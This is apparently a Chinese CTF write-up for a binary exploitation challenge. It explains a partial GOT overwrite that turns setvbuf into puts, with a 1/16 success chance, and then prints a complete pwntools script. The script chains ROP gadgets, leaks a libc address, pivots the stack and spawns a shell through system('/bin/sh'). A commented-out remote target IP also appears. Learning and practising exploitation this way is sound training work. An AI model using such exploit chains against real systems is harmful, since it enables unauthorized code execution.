无输出函数,尝试使用__do_global_dtors_aux时发现在栈上并没有残留的地址。

由于read()函数为该程序唯一输入程序,不考虑对其下手。剩下有realpath()函数和setvbuf()函数,realpath()函数为比较高级的函数,其附近的函数不好利用,而根据提供的libc库文件发现setvbuf()函数距离puts()函数非常的近,考虑用read()函数构造ROP修改setvbuf()got表的后两位,将其修改为puts()函数,由于修改了倒数第二位,所以每次只有1/16的几率修改成功。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

while True:
try:
# r=remote('81.69.0.47',2212)
r=process('./pwn222')
elf = ELF('./pwn222')
libc = ELF('./libc')
rdi = 0x401233
rsir15 = 0x401231
leave = 0x4011aa
bss = 0x404500
setvbuf_got = elf.got['setvbuf']
read = elf.symbols['read']
fake_puts = elf.symbols['setvbuf']
read_got = elf.got['read']
print hex(setvbuf_got)

#r.sendline(cyclic(32)+p64(bss-8)+p64(rdi)+p64(0)+p64(rsir15)+p64(setvbuf_got)+p64(0))
make_puts = p64(rdi)+p64(0)+p64(rsir15)+p64(setvbuf_got)+p64(0)+p64(read)
leak_read = p64(rdi)+p64(read_got)+p64(fake_puts)
move_stack = p64(rdi)+p64(0)+p64(rsir15)+p64(bss)+p64(0)+p64(read)+p64(leave)
exp = make_puts + leak_read + move_stack

r.sendline(cyclic(32)+p64(bss-8)+exp)
sleep(1)
r.send(p16(0xf6a0))
libc_addr = u64(r.recv(6)+'\x00\x00') - libc.symbols['read']
system = libc_addr + libc.symbols['system']
binsh = libc_addr + libc.search('/bin/sh').next()
r.sendline(p64(rdi)+p64(binsh)+p64(system))
sleep(1)

r.interactive()
except:
pass